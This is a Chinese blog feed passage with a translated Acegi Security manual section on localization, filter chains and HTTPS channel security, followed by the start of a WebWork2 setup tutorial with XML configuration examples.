<p>Acegi Security支持对终端客户可能会看到的异常信息进行本地化。如果你的应用是为英文用户设计的，那么你什么都不用做，因为Acegi Security的所有消息默认都是英文的。如果你要支持其他区域用户，那么本节包含了你所需要了解的所有东西。</p>
<p>包括认证失败或者访问被拒绝（授权失败）的所有异常消息都可以被本地化。提供给开发者或者系统部署人员的异常或者日志信息(包括错误的属性、接口不符、构造器错误、debug级日志)没有被本地化，它们硬编码在Acegi Security的代码中。</p>
<p>在acegi-security-xx.jar（译注：xx代表版本号）的org.acegisecurity包中包含了一个messages.properties文件。这个文件会被你的application context引用，因为Acegi Security实现了Spring的MessageSourceAware接口，它期待在application context启动的时候注入一个message resolver。通常你所需要做的是在你的application context中注册一个引用这个消息的bean，如下所示：</p>
<div class=code>
<div class=codeContent>
<pre class=code-java>&lt;bean id=<span class=code-quote>"messageSource"</span> class=<span class=code-quote>"org.springframework.context.support.ReloadableResourceBundleMessageSource"</span>&gt;&lt;property name=<span class=code-quote>"basename"</span>&gt;&lt;value&gt;org/acegisecurity/messages&lt;/value&gt;&lt;/property&gt;&lt;/bean&gt;</pre>
</div>
</div>
<p>messages.properties是按照资源包标准命名的，它代表了Acegi Securtiy支持的默认语言。文件默认是英文的。如果你不注册一个消息源，Acegi Security仍然可以正常工作，它会用回硬编码的英文消息。</p>
<p>如果你想定制messages.properties文件，或者支持其他语言，那么你应该copy这个文件，然后重命名，并在上述的bean定义中注册。因为文件中的key并不多，因此本地化花不了多少工夫。如果你针对消息文件进行了本地化，那么请和社区分享，你可以添加一个JIRA任务，将你正确命名的messages.properties本地化文件作为附件添加。</p>
<p>为了完善关于本地化的讨论需要知道Spring的ThreadLocal org.springframework.context.i18n.LocaleContextHolder。你应该为每个用户设置代表他区域的LocaleContextHolder。Acegi Security会尝试从这个ThreadLocal中获取的Locale来从消息源中获取消息。请参考Spring的文档以获取更多使用LocaleContextHolder和能够帮你自动设置它的辅助类(例如</p>
<p>AcceptHeaderLocaleResolver, CookieLocaleResolver, FixedLocaleResolver, SessionLocaleResolver 等)的详细信息。</p>
<h2><a name=Chapter3.SupportingInfrastructure-3.2.Filters></a>3.2. Filters</h2>
<p>正如你在整个手册中看到的那样，Acegi Security使用很多filter。你可以使用FilterToBeanProxy或者FilterChainProxy来确定这些是怎样加入到你的web应用中的，下面我们来看看。</p>
<p>大部分filter使用FilterToBeanProxy来配置。例如下面web.xml中配置所示：</p>
<div class=code>
<div class=codeContent>
<pre class=code-java>&lt;filter&gt;&nbsp;&nbsp;&nbsp; &lt;filter-name&gt;Acegi HTTP Request Security Filter&lt;/filter-name&gt;&nbsp;&nbsp;&nbsp; &lt;filter-class&gt;org.acegisecurity.util.FilterToBeanProxy&lt;/filter-class&gt;&nbsp;&nbsp;&nbsp; &lt;init-param&gt;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &lt;param-name&gt;targetClass&lt;/param-name&gt;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &lt;param-value&gt;org.acegisecurity.ClassThatImplementsFilter&lt;/param-value&gt;&nbsp;&nbsp;&nbsp; &lt;/init-param&gt;&lt;/filter&gt;</pre>
</div>
</div>
<p>注意在web.xml中的filter实际上是一个FilterToBeanProxy，而不是真正实现filter逻辑的filter。FilterToBeanProxy所作的是代理Filter的方法到一个从Spring的application context 获取的bean。这使得这个bean可以享受Spring application context的生命周期支持以及配置灵活性。这个bean必须实现javax.servlet.Filter。</p>
<p>FilterToBeanProxy只需要一个简单的初始化参数，targetClass或者targetBean。targetClass会定位application context中指定的类的第一个对象，而FilterToBeanProxy按照bean的名字定位对象。象标准的Spring web应用一样，FilterToBeanProxy使用WebApplicationContextUtils.getWebApplicationContext(ServletContext)来访问application context，所以你应该在web.xml中配置一个ContextLoaderListener。</p>
<p>在IoC容器而不是servlet容器中部署Filter会有一个生命周期的问题。特别是，哪个容器应该负责调用Filter的"startup" 和 "shutdown"方法？注意到Filter的初始化和析构顺序随servlet容器不同而不同，如果一个Filter依赖于由另一个更早初始化的Filter的配置，这样就会出现问题。另一方面，Spring IoC具备更加完善的生命周期/IoC接口（例如InitializingBean, DisposableBean, BeanNameAware, ApplicationContextAware以及其他许多）以及一个容易理解的接口契约（interface contract），可预见的方法调用顺序，自动装配支持，以及可以避免实现Spring接口的选项（例如Spring XML中的destroy-method 属性）。因此，我们推荐尽可能使用Spring生命周期服务而不是servlet容器生命周期服务。FilterToBeanProxy默认不会将init(FilterConfig) 和 destroy()方法委派到被代理的bean。如果你需要这些调用被委派，那么将lifecycle初始化参数设置为servlet-container-managed。</p>
<p>我们强烈推荐你使用FilterChainProxy而不是FilterToBeanProxy。虽然FilterToBeanProxy是一个非常有用的类FilterToBeanProxy，问题是当web.xml中filter变多时，&lt;filter&gt; 和 &lt;filter-mapping&gt;项就会太多而变得臃肿不堪。为了解决这个问题，Acegi Security提供一个FilterChainProxy类。它在FilterToBeanProxy中被装配（正如上面例子中所示），但目标类（target class）是org.acegisecurity.util.FilterChainProxy。这样过滤器链（filter chain）可以在application context中按照如下代码配置：</p>
<div class=code>
<div class=codeContent>
<pre class=code-java>&lt;bean id=<span class=code-quote>"filterChainProxy"</span> class=<span class=code-quote>"org.acegisecurity.util.FilterChainProxy"</span>&gt;&nbsp;&nbsp;&nbsp; &lt;property name=<span class=code-quote>"filterInvocationDefinitionSource"</span>&gt;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &lt;value&gt;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; CONVERT_URL_TO_LOWERCASE_BEFORE_COMPARISON&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; PATTERN_TYPE_APACHE_ANT&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; /webServices/*=httpSessionContextIntegrationFilterWithASCFalse,basicProcessingFilter,exceptionTranslationFilter,&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; /*=httpSessionContextIntegrationFilterWithASCTrue,authenticationProcessingFilter,exceptionTranslationFilter,filterSecurityInterceptor&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &lt;/value&gt;&nbsp;&nbsp;&nbsp; &lt;/property&gt;&lt;/bean&gt;</pre>
</div>
</div>
<p>你可能注意到FilterSecurityInterceptor定义方式的相似之处。同时支持正则表达式和Ant Paths格式，越对应的URI越早出现。在运行时，FilterChainProxy会定位符合当前的web请求的第一个URI模式。每个对应的配置属性代表了在application context中定义的一个bean的名字。接着fiter会按照它们被指定的顺序，按照FilterChain的标准行为模式被调用(如果一个Filter决定停止处理，它可以不在chain中执行)。</p>
<p>如你所见，FilterChainProxy需要为不同的请求模式重复配置filter的名字（在上面的例子中，, exceptionTranslationFilter 和 filterSecurityInterceptor 是重复的）。这样的设计是为了让FilterChainProxy能够为不同的URI配置不同的filter调用顺序，同时也提高了表达力（针对正则表达式、Ant Paths、以及任何FilterInvocationDefinitionSource的特定实现）和清晰度，可以知道是哪个filter应该被调用。</p>
<p>你可能注意到了我们在filter chain定义了两个HttpSessionContextIntegrationFilter (ASC是allowSessionCreation的缩写,是HttpSessionContextIntegrationFilter的一个属性)。因为web服务不会为将来的请求提供一个jsessionid，为这样的用户创建HttpSessions是浪费的。如果你有一个需要最大限度的伸缩性的高容量的应用，我们建议你使用上述的方法。对于小的应用，使用单一的HttpSessionContextIntegrationFilter (默认的allowSessionCreation设为true)应该足够了。</p>
<p>说到生命周期问题，如果对FilterChainProxy自身调用init(FilterConfig) 和 destroy()方法，它会把它代理到底层的filter。这样FilterChainProxy保证只初始化和析构每个filter一次，不论它在FilterInvocationDefinitionSource中定义了多少次。你可以通过FilterToBeanProxy的lifecycle初始化参数来控制这些方法是否被调用。如上面所讨论的那样，默认所有servlet容器生命周期调用是不被代理到FilterChainProxy的。</p>
<p>在web.xml中定义的filter的顺序是非常重要的。不管你实际用到哪个filter，&lt;filter-mapping&gt;的顺序应该是如下所示的：</p>
<p>1．ChannelProcessingFilter，因为可能要重定向到另一种协议。</p>
<p>2．ConcurrentSessionFilter 因为不使用任何SecurityContextHolder的功能，但是需要更新SessionRegistry来表示当前的发送请求的principal。</p>
<p>3． HttpSessionContextIntegrationFilter, 这样当一个web请求开始的时候就可以在SecurityContextHolder中设置一个SecurityContext，当web请求结束的时候任何对SecurityContext的改动都会被copy到HttpSession（以备下一个web请求使用）。</p>
<p>4．Authentication processing mechanisms - AuthenticationProcessingFilter, CasProcessingFilter, BasicProcessingFilter, HttpRequestIntegrationFilter, JbossIntegrationFilter 等 - 修改SecurityContextHolder，使其中包含一个有效的认证请求令牌（token）。</p>
<p>5．SecurityContextHolderAwareRequestFilter, 如果你使用它来在你的servlet容器中安装一个Acegi Security aware HttpServletRequestWrapper。</p>
<p>6．RememberMeProcessingFilter, 如果早期的认证处理过程没有更新SecurityContextHolder，并且请求（request）提供了一个cookie启用remember-me服务，一个合适的被记住的Authentication对象会被放到SecurityContextHolder那里。</p>
<p>7．AnonymousProcessingFilter, 如果早期的认证处理过程没有更新SecurityContextHolder，, 一个匿名Authentication 对象会被放到SecurityContextHolder那里。</p>
<p>8．ExceptionTranslationFilter, 捕获所有的Acegi Security 异常，这样要么返回一个HTTP错误响应或者加载一个对应的AuthenticationEntryPoint。</p>
<p>9．FilterSecurityInterceptor, 保护 web URIs</p>
<p>所有上述的filter使用FilterToBeanProxy或FilterChainProxy。建议在一个应用中使用一个单个的FilterToBeanProxy代理到一个单个的FilterChainProxy。，在FilterChainProxy中定义所有的Acegi Security Filters。如果你使用SiteMesh，确保Acegi Security filters 在 SiteMesh filters调用前调用。这样使SecurityContextHolder在SiteMesh decorator使用前能够及时被装配。</p>
<h1><a name=Chapter4.ChannelSecurity-%E7%AC%AC%E5%9B%9B%E7%AB%A0.%E4%BF%A1%E9%81%93%E5%AE%89%E5%85%A8></a>第四章. 信道安全</h1>
<h2><a name=Chapter4.ChannelSecurity-4.1.%E6%A6%82%E8%BF%B0></a>4.1. 概述</h2>
<p>Acegi Security不仅能满足你的认证和授权的请求，而且能够保证你的未认证的web请求也能拥有某些属性。这些属性可能包括使用特定的传输类型，在HttpSession设置特定的属性等等。Web请求的最普遍的需求是使用特定的传输协议，例如HTTPS。</p>
<p>在传输安全中的一个重要议题就是会话劫持（session hijacking）。Web容器通过一个jsessionid来引用一个HttpSession，这个jsessionid通过cookie 或者URL重写转向（URL rewriting）发送到到客户端。如果jsessionid是通过HTTP发送的，那么就存在被劫持以及在认证过程之后冒充被认证用户的可能。这是因为大部分的web容器为特定的用户维护同一个会话标识符，即便是用户从HTTP 切换到 HTTPS页面。</p>
<p>如果对于你的特定应用来说，会话劫持（session hijacking）是一个很严重的风险，那么唯一的解决方法就是对每一个请求都使用HTTPS。这意味着jsessionid不会使用非安全信道传输。你要保证你的web.xml中定义&lt;welcome-file&gt;，把它指向一个HTTPS位置，同时应用程序不把用户指向一个HTTP位置。Acegi Security提供一个解决方案帮助你实现后者。</p>
<h2><a name=Chapter4.ChannelSecurity-4.2.%E9%85%8D%E7%BD%AE></a>4.2. 配置</h2>
<p>启用Acegi Security的信道安全服务，需要在web.xml中增加如下行：</p>
<div class=code>
<div class=codeContent>
<pre class=code-java>&lt;filter&gt;&lt;filter-name&gt;Acegi Channel Processing Filter&lt;/filter-name&gt;&lt;filter-class&gt;org.acegisecurity.util.FilterToBeanProxy&lt;/filter-class&gt;&lt;init-param&gt;&lt;param-name&gt;targetClass&lt;/param-name&gt;&lt;param-value&gt;org.acegisecurity.securechannel.ChannelProcessingFilter&lt;/param-value&gt;&lt;/init-param&gt;&lt;/filter&gt;&lt;filter-mapping&gt;&lt;filter-name&gt;Acegi Channel Processing Filter&lt;/filter-name&gt;&lt;url-pattern&gt;/*&lt;/url-pattern&gt;&lt;/filter-mapping&gt;</pre>
</div>
</div>
<p>和平时一样，你同样需要在application context中配置filter</p>
<div class=code>
<div class=codeContent>
<pre class=code-java>&lt;bean id=<span class=code-quote>"channelProcessingFilter"</span> class=<span class=code-quote>"org.acegisecurity.securechannel.ChannelProcessingFilter"</span>&gt;&lt;property name=<span class=code-quote>"channelDecisionManager"</span>&gt;&lt;ref bean=<span class=code-quote>"channelDecisionManager"</span>/&gt;&lt;/property&gt;&lt;property name=<span class=code-quote>"filterInvocationDefinitionSource"</span>&gt;&lt;value&gt;CONVERT_URL_TO_LOWERCASE_BEFORE_COMPARISON\A/secure/.*\Z=REQUIRES_SECURE_CHANNEL\A/acegilogin.jsp.*\Z=REQUIRES_SECURE_CHANNEL\A/j_acegi_security_check.*\Z=REQUIRES_SECURE_CHANNEL\A.*\Z=REQUIRES_INSECURE_CHANNEL&lt;/value&gt;&lt;/property&gt;&lt;/bean&gt;&lt;bean id=<span class=code-quote>"channelDecisionManager"</span> class=<span class=code-quote>"org.acegisecurity.securechannel.ChannelDecisionManagerImpl"</span>&gt;&lt;property name=<span class=code-quote>"channelProcessors"</span>&gt;&lt;list&gt;&lt;ref bean=<span class=code-quote>"secureChannelProcessor"</span>/&gt;&lt;ref bean=<span class=code-quote>"insecureChannelProcessor"</span>/&gt;&lt;/list&gt;&lt;/property&gt;&lt;/bean&gt;&lt;bean id=<span class=code-quote>"secureChannelProcessor"</span> class=<span class=code-quote>"org.acegisecurity.securechannel.SecureChannelProcessor"</span>/&gt;&lt;bean id=<span class=code-quote>"insecureChannelProcessor"</span> class=<span class=code-quote>"org.acegisecurity.securechannel.InsecureChannelProcessor"</span>/&gt;</pre>
</div>
</div>
<p>ChannelProcessingFilter和FilterSecurityInterceptor一样支持Apache Ant style paths。</p>
<p>ChannelProcessingFilter的工作方式是过滤所有的web请求，并将判断将适合的配置属性应用于其上。然后它代理到ChannelDecisionManager。默认的实现类ChannelDecisionManagerImpl应该能够满足大多数需求。它就代理到配置好的ChannelProcessor实例列表。ChannelProcessor会检视请求，如果它不满意请求（例如请求是发送自不正确的传输协议）它将会重定向，抛出异常或者采取其他任何恰当的措施。</p>
<p>Acegi Security 包括ChannelProcessor两个实体类实现：SecureChannelProcessor 保证配置了REQUIRES_SECURE_CHANNEL 属性的请求都是从HTTPS发送过来的。而InsecureChannelProcessor 保证配置了REQUIRES_INSECURE_CHANNEL 属性的请求都是从HTTP发送过来的。如果没有使用请求的协议，这两个实现都会转到ChannelEntryPoint，而两个ChannelEntryPoint 实现所作的就是简单的把请求相应按照HTTP 和 HTTPS重定向。</p>
<p>要注意重定向是绝对（例如<span class=nobr><a title="Visit page outside Confluence" href="http://www.company.com:8080/app/page" rel=nofollow><u><font color=#0000ff>http://www.company.com:8080/app/page<sup><img class=rendericon height=7 alt="" src="http://wiki.springside.org.cn/images/icons/linkext7.gif" width=7 align=absMiddle border=0></sup></font></u></a></span>）而不是相对的(例如 /app/page)。在测试中发现Internet Explorer 6 Service Pack 1 有一个bug，因此如果在重定向的时候也改变使用的端口，它就不能正确响应。对应这个bug，在很多Acegi Security bean中都会使用的PortResolverImpl也使用绝对URL。请参阅PortResolverImpl的JavaDoc以获取更多信息。</p>
<p>你要注意使用为了在登录过程中保证用户名和密码的安全，要使用安全信道。如果你配合基于表单的登录使用ChannelProcessingFilter，请记得一定要把你的登录页面设置为REQUIRES_SECURE_CHANNEL，并且AuthenticationProcessingFilterEntryPoint.forceHttps属性设置为true。</p>
<h2><a name=Chapter4.ChannelSecurity-4.3.%E7%BB%93%E8%AE%BA></a>4.3. 结论</h2>
<p>一旦配置好了，使用安全信道是非常简单的。只要请求页面，不用管使用什么协议（HTTP 或 HTTPS）或什么端口（80, 8080, 443, 8443等）。显然你只要确定初始请求(获取通过在web.xml 中的&lt;welcome-file&gt; 或一个众所周知的主页URL)，完成以后filter会执行你application context定义的重定向。</p>
<p>你也可以在ChannelDecisionManagerImpl中增加自己的ChannelProcessor实现。例如，你可能通过"输入图片中的内容"检测到一个个人类用户，然后在HttpSession中设置一个属性。</p>
<p>要判断一个安全检查应该是或者ChannelProcessor或是 AccessDecisionVoter 记得前者是设计用来处理认证或者未认证的请求，而后者是设计用来处理已认证的请求。因此后者可以访问已认证的principal被授予的权限。</p>
<p>另外，ChannelProcessor检测到问题后一般是引发一个HTTP/HTTPS重定向这样他的请求可以被满足，而AccessDecisionVoter将则会跑出一个AccessDeniedException异常(取决于支配的 AccessDecisionManager)。</p>
<p>文章来源:<a href="http://wiki.springside.org.cn/display/springside/Acegi+Reference+Preface"><font color=#006699 size=3><u>http://wiki.springside.org.cn/display/springside/Acegi+Reference+Preface</u></font></a>&nbsp;</p>
</div>
<img src ="http://www.blogjava.net/junky/aggbug/126772.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/junky/" target="_blank">junky</a> 2007-06-28 12:42 <a href="http://www.blogjava.net/junky/archive/2007/06/28/126772.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>Acegi Security -- Spring下最优秀的安全系统 </title><link>http://www.blogjava.net/junky/archive/2007/06/28/126747.html</link><dc:creator>junky</dc:creator><author>junky</author><pubDate>Thu, 28 Jun 2007 02:50:00 GMT</pubDate><guid>http://www.blogjava.net/junky/archive/2007/06/28/126747.html</guid><wfw:comment>http://www.blogjava.net/junky/comments/126747.html</wfw:comment><comments>http://www.blogjava.net/junky/archive/2007/06/28/126747.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/junky/comments/commentRss/126747.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/junky/services/trackbacks/126747.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp; 摘要: 一&nbsp;Acegi安全系统介绍&nbsp;&nbsp;&nbsp; Author: cac 差沙 &nbsp;&nbsp;&nbsp; Acegi是Spring Framework 下最成熟的安全系统，它提供了强大灵活的企业级安全服务，如完善的认证和授权机制，Http资源访问控制，Method 调用访问控制，Access Control List (ACL) 基于对象实例的访问控制，...&nbsp;&nbsp;<a href='http://www.blogjava.net/junky/archive/2007/06/28/126747.html'>阅读全文</a><img src ="http://www.blogjava.net/junky/aggbug/126747.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/junky/" target="_blank">junky</a> 2007-06-28 10:50 <a href="http://www.blogjava.net/junky/archive/2007/06/28/126747.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>WebWork2教程（中文版）（1）</title><link>http://www.blogjava.net/junky/archive/2007/06/28/126726.html</link><dc:creator>junky</dc:creator><author>junky</author><pubDate>Thu, 28 Jun 2007 01:42:00 GMT</pubDate><guid>http://www.blogjava.net/junky/archive/2007/06/28/126726.html</guid><wfw:comment>http://www.blogjava.net/junky/comments/126726.html</wfw:comment><comments>http://www.blogjava.net/junky/archive/2007/06/28/126726.html#Feedback</comments><slash:comments>1</slash:comments><wfw:commentRss>http://www.blogjava.net/junky/comments/commentRss/126726.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/junky/services/trackbacks/126726.html</trackback:ping><description><![CDATA[<p align=left><span><font face=Century>1</font></span><span>、下载和安装</span><span><font face=Century>WW2</font></span></p>
<p><span>（</span><span><font face=Century>1</font></span><span>）本教程基于</span><span><font face=Century>WebWork 2.1</font></span><span>版本，在</span><span><font face=Century>webwork.dev.java.net</font></span><span>网站上下载</span><span><font face=Century>webwork-2.1.zip</font></span><span>；</span></p>
<p><span>（</span><span><font face=Century>2</font></span><span>）将压缩包解压，使用</span><span><font face=Century>WebWork</font></span><span>所需要的</span><span><font face=Century>lib</font></span><span>包括</span><span><font face=Century>webwork-2.1.jar</font></span><span>和</span><span><font face=Century>lib/core</font></span><span>文件夹中的</span><span><font face=Century>jar</font></span><span>文件</span></p>
<img src ="http://www.blogjava.net/junky/aggbug/126726.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/junky/" target="_blank">junky</a> 2007-06-28 09:42 <a href="http://www.blogjava.net/junky/archive/2007/06/28/126726.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>WebWork2教程（中文版）（2）</title><link>http://www.blogjava.net/junky/archive/2007/06/28/126725.html</link><dc:creator>junky</dc:creator><author>junky</author><pubDate>Thu, 28 Jun 2007 01:41:00 GMT</pubDate><guid>http://www.blogjava.net/junky/archive/2007/06/28/126725.html</guid><wfw:comment>http://www.blogjava.net/junky/comments/126725.html</wfw:comment><comments>http://www.blogjava.net/junky/archive/2007/06/28/126725.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/junky/comments/commentRss/126725.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/junky/services/trackbacks/126725.html</trackback:ping><description><![CDATA[<p><span><font face=Century>2</font></span><span>、建立</span><span><font face=Century>Web</font></span><span>应用程序</span></p>
<p><span>（</span><span><font face=Century>1</font></span><span>）这里假设你安装了</span><span><font face=Century>Servlet</font></span><span>容器，并知道如何创建一个</span><span><font face=Century>Web</font></span><span>应用程序；如果你不知道，建议学习</span><span><font face=Century>Apache Tomcat</font></span><span>（</span><span><font face=Century>Apache Jakarta</font></span><span>项目中的一个免费</span><span><font face=Century>Servlet</font></span><span>容器）；</span></p>
<p><span>（</span><span><font face=Century>2</font></span><span>）复制需要的运行库（</span><span><font face=Century>webwork-2.1.jar</font></span><span>和</span><span><font face=Century>lib/core/*.jar</font></span><span>）到</span><span><font face=Century>Web</font></span><span>应用程序的</span><span><font face=Century>WEB-INF/lib</font></span><span>文件夹中；</span></p>
<p><span>（</span><span><font face=Century>3</font></span><span>）如下配置</span><span><font face=Century>web.xml</font></span><span>、</span><span><font face=Century>xwork.xml</font></span><span>和</span><span><font face=Century>validators.xml</font></span><span>文件；</span></p>
<p><span>（</span><span><font face=Century>4</font></span><span>）</span><span><font face=Century>web.xml</font></span><span>看起来象下面的样子：</span></p>
<div>
<pre><span><font size=2><font face="ＭＳ ゴシック">&lt;?xml version="1.0"?&gt;</font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック">&lt;!DOCTYPE web-app PUBLIC "-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN"</font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック">"http://java.sun.com/dtd/web-app_2_3.dtd"&gt;</font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック">&nbsp;</font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック">&lt;web-app&gt;</font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>&lt;display-name&gt;My WebWork Application&lt;/display-name&gt;</font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>&lt;servlet&gt;</font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>&lt;servlet-name&gt;webwork&lt;/servlet-name&gt;</font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>&lt;servlet-class&gt;com.opensymphony.webwork.dispatcher.ServletDispatcher&lt;/servlet-class&gt;</font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>&lt;load-on-startup&gt;1&lt;/load-on-startup&gt;</font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>&lt;/servlet&gt;</font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>&lt;servlet-mapping&gt;</font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>&lt;servlet-name&gt;webwork&lt;/servlet-name&gt;</font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>&lt;url-pattern&gt;*.action&lt;/url-pattern&gt;</font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>&lt;/servlet-mapping&gt;</font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>&lt;taglib&gt;</font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>&lt;taglib-uri&gt;webwork&lt;/taglib-uri&gt;</font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>&lt;taglib-location&gt;/WEB-INF/lib/webwork-2.1.jar&lt;/taglib-location&gt;</font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>&lt;/taglib&gt;</font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック">&lt;/web-app&gt;</font></font></span></pre>
</div>
<p><span>为了使用</span><span><font face=Century>WebWork</font></span><span>，必须注册</span><span><font face=Century>ServletDispatcher</font></span><span>，并映射到</span><span><font face=Century>*.action</font></span><span>；作为可选，如果要使用</span><span><font face=Century>WebWork</font></span><span>的</span><span><font face=Century>tags</font></span><span>，要声明</span><span><font face=Century>WebWork</font></span><span>的</span><span><font face=Century>taglib</font></span><span>描述；</span></p>
<p><span>（</span><span><font face=Century>5</font></span><span>）在</span><span><font face=Century>WEB-INF/classes</font></span><span>目录下创建</span><span><font face=Century>WebWork</font></span><span>的配置文件</span><span><font face=Century>xwork.xml</font></span><span>，下面是一个配置框架（会在教程的后面增加内容）：</span></p>
<div>
<pre><span><font size=2><font face="ＭＳ ゴシック">&lt;!DOCTYPE xwork PUBLIC "-//OpenSymphony Group//XWork 1.0//EN" </font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック">"http://www.opensymphony.com/xwork/xwork-1.0.dtd"&gt;</font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック">&nbsp;</font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック">&lt;xwork&gt;</font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>&lt;!-- Include webwork defaults (from WebWork-2.1 JAR). --&gt;</font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>&lt;include file="webwork-default.xml" /&gt;</font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>&lt;!-- Configuration for the default package. --&gt;</font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>&lt;package name="default" extends="webwork-default"&gt;</font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>&lt;/package&gt;</font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック">&lt;/xwork&gt;</font></font></span></pre>
</div>
<p><span>这做两件事：</span></p>
<p><span>l<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span>导入</span><span><font face=Century>webwork-default.xml</font></span><span>（位于</span><span><font face=Century>webwork-2.1.jar</font></span><span>中）<span>的配置信息，包含</span></span><span><font face=Century>WebWork</font></span><span>应用程序的缺省配置；</span></p>
<p><span>l<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span>定义名为</span><span><font face=Century>default</font></span><span>的</span><span><font face=Century>package</font></span><span>，用于</span><span><font face=Century>actions</font></span><span>、</span><span><font face=Century> results</font></span><span>和</span><span><font face=Century>interceptors</font></span><span>的注册；这个</span><span><font face=Century>package</font></span><span>继承</span><span><font face=Century>webwork-default</font></span><span>，以继承其中定义的配置；</span></p>
<p><span>（</span><span><font face=Century>6</font></span><span>）<span>在</span></span><span><font face=Century>WEB-INF/classes</font></span><span>目录下创建</span><span><font face=Century>validators.xml</font></span><span>。包括以下内容：</span></p>
<div>
